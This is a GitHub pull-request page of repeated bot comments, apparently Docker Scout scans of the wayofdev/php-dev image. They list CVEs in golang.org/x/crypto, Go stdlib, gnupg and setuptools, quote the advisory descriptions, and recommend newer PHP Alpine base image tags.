EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.2-alpine

Name8.2.30-alpine3.23
Digestsha256:dad4e0c31503684d830285906fc548ea6788310260a670a9cd579f69636d873c
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size37 MB
Packages61
Flavoralpine
OS3.23
Runtime8.2.30
The base image is also available under the supported tag(s): 8.2-alpine3.23, 8.2-cli-alpine, 8.2-cli-alpine3.23, 8.2.30-alpine, 8.2.30-alpine3.23, 8.2.30-cli-alpine, 8.2.30-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.3-alpine
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.3
 2 weeks ago



8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.4-fpm-alpine

Name8.4.16-fpm-alpine3.23
Digestsha256:96c072939e5497bce30cb0682f7397af04df01d4fcf78ede1dd6bdd3394e240f
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size36 MB
Packages62
Flavoralpine
OS3.23
Runtime8.4.16
The base image is also available under the supported tag(s): 8.4-fpm-alpine3.23, 8.4.16-fpm-alpine, 8.4.16-fpm-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.5-fpm-alpine
Image has same number of vulnerabilities
Also known as:
  • 8.5.1-fpm-alpine
  • 8.5.1-fpm-alpine3.23
  • 8.5-fpm-alpine3.23
  • 8-fpm-alpine
  • 8-fpm-alpine3.23
  • fpm-alpine
  • fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:3604fed52d81970a176cafe8300295cf4ba1d0b9d7ca9dfc060e2f2e64591f54

Digest
Vulnerabilities
Size0 B
Packages0

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

✅ There are no tag recommendations at this time.

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:f5400eb7e63919a5e11d8e3332fddee499f65110f14d23a0c72728afe1911685
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size132 MB
packages285
📦 Base Image php:8.2-alpine
also known as
  • 8.2-alpine3.23
  • 8.2-cli-alpine
  • 8.2-cli-alpine3.23
  • 8.2.30-alpine
  • 8.2.30-alpine3.23
  • 8.2.30-cli-alpine
  • 8.2.30-cli-alpine3.23
digestsha256:dad4e0c31503684d830285906fc548ea6788310260a670a9cd579f69636d873c
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:816861c27a1e6457e9a21bf4ea32df95edd64af2b91a25977b052a80fbea30ac
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size137 MB
packages285
📦 Base Image php:8.4-alpine
also known as
  • 8.4-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
digestsha256:d07aff446f152e78003bdbf5f625f44501ba75bccfc6bfd6dc79ba3489a90db8
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.2-fpm-alpine

Name8.2.30-fpm-alpine3.23
Digestsha256:ea3dec3a85d02c19f088dc4385934af92b28f6c0b2d7318c72b340cac487b821
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size33 MB
Packages62
Flavoralpine
OS3.23
Runtime8.2.30
The base image is also available under the supported tag(s): 8.2-fpm-alpine3.23, 8.2.30-fpm-alpine, 8.2.30-fpm-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-fpm-alpine
Minor runtime version update
Also known as:
  • 8.4.16-fpm-alpine
  • 8.4.16-fpm-alpine3.23
  • 8.4-fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 36 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.3-fpm-alpine
Minor runtime version update
Also known as:
  • 8.3.29-fpm-alpine
  • 8.3.29-fpm-alpine3.23
  • 8.3-fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 34 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.3.29
 2 weeks ago



8.5-fpm-alpine
Image has same number of vulnerabilities
Also known as:
  • 8.5.1-fpm-alpine
  • 8.5.1-fpm-alpine3.23
  • 8.5-fpm-alpine3.23
  • 8-fpm-alpine
  • 8-fpm-alpine3.23
  • fpm-alpine
  • fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.4-alpine

Name8.4.16-alpine3.23
Digestsha256:d07aff446f152e78003bdbf5f625f44501ba75bccfc6bfd6dc79ba3489a90db8
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size41 MB
Packages61
Flavoralpine
OS3.23
Runtime8.4.16
The base image is also available under the supported tag(s): 8.4-alpine3.23, 8.4-cli-alpine, 8.4-cli-alpine3.23, 8.4.16-alpine, 8.4.16-alpine3.23, 8.4.16-cli-alpine, 8.4.16-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



1 similar comment
@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.4-alpine

Name8.4.16-alpine3.23
Digestsha256:d07aff446f152e78003bdbf5f625f44501ba75bccfc6bfd6dc79ba3489a90db8
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size41 MB
Packages61
Flavoralpine
OS3.23
Runtime8.4.16
The base image is also available under the supported tag(s): 8.4-alpine3.23, 8.4-cli-alpine, 8.4-cli-alpine3.23, 8.4.16-alpine, 8.4.16-alpine3.23, 8.4.16-cli-alpine, 8.4.16-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.2-alpine

Name8.2.30-alpine3.23
Digestsha256:dad4e0c31503684d830285906fc548ea6788310260a670a9cd579f69636d873c
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size37 MB
Packages61
Flavoralpine
OS3.23
Runtime8.2.30
The base image is also available under the supported tag(s): 8.2-alpine3.23, 8.2-cli-alpine, 8.2-cli-alpine3.23, 8.2.30-alpine, 8.2.30-alpine3.23, 8.2.30-cli-alpine, 8.2.30-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.3-alpine
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.3
 2 weeks ago



8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:a1bd093974b60fb256cd59ad8bf57b8cb42da0044bdcc14d2bc2143bf0e67cf5
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size114 MB
packages250
📦 Base Image php:2d9d9d0610811d72bd332d556830f9ee027f885c1c04f540172288d3525aecc5
also known as
  • 8.3-alpine
  • 8.3-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3.29-cli-alpine3.23
digestsha256:55dd280d2f913218b52230b55c4779a3549200cec9b2993e0a91ee3ea4323994
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.3-alpine

Name8.3-alpine3.23
Digestsha256:55dd280d2f913218b52230b55c4779a3549200cec9b2993e0a91ee3ea4323994
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size38 MB
Packages61
Flavoralpine
OS3.23
Runtime8.3
The base image is also available under the supported tag(s): 8.3-alpine3.23, 8.3-cli-alpine, 8.3-cli-alpine3.23, 8.3.29-alpine, 8.3.29-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:d9e81b69e7372f42578ea1fcc0d551f5ceccba2bb86c986817e752c3bb45a57e
vulnerabilitiescritical: 1 high: 9 medium: 0 low: 0
platformlinux/amd64
size128 MB
packages265
📦 Base Image php:8.1-alpine
also known as
  • 8.1-alpine3.21
  • 8.1-cli-alpine
  • 8.1-cli-alpine3.21
  • 8.1.34-alpine
  • 8.1.34-alpine3.21
  • 8.1.34-cli-alpine3.21
  • d0b581c71ccd5071323b105fbcf784f0cc839918e8992e56fe275df9dc840f2b
digestsha256:5a3201a62206d5168ce3bc9fe81cf35c07c93b4c213cff448ecbf5686161271a
vulnerabilitiescritical: 1 high: 0 medium: 5 low: 2
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 5 medium: 0 low: 0 stdlib 1.23.9 (golang)

pkg:golang/stdlib@1.23.9

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 1 medium: 0 low: 0 setuptools 70.3.0 (pypi)

pkg:pypi/setuptools@70.3.0

high 7.7: CVE--2025--47273 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<78.1.1
Fixed version78.1.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.135%
EPSS Percentile34th percentile
Description

Summary

A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1

Details

    def _download_url(self, url, tmpdir):
        # Determine download filename
        #
        name, _fragment = egg_info_for_url(url)
        if name:
            while '..' in name:
                name = name.replace('..', '.').replace('\\', '_')
        else:
            name = "__downloaded__"  # default if URL has no path contents

        if name.endswith('.[egg.zip](http://egg.zip/)'):
            name = name[:-4]  # strip the extra .zip before download

 -->       filename = os.path.join(tmpdir, name)

Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88

os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter.
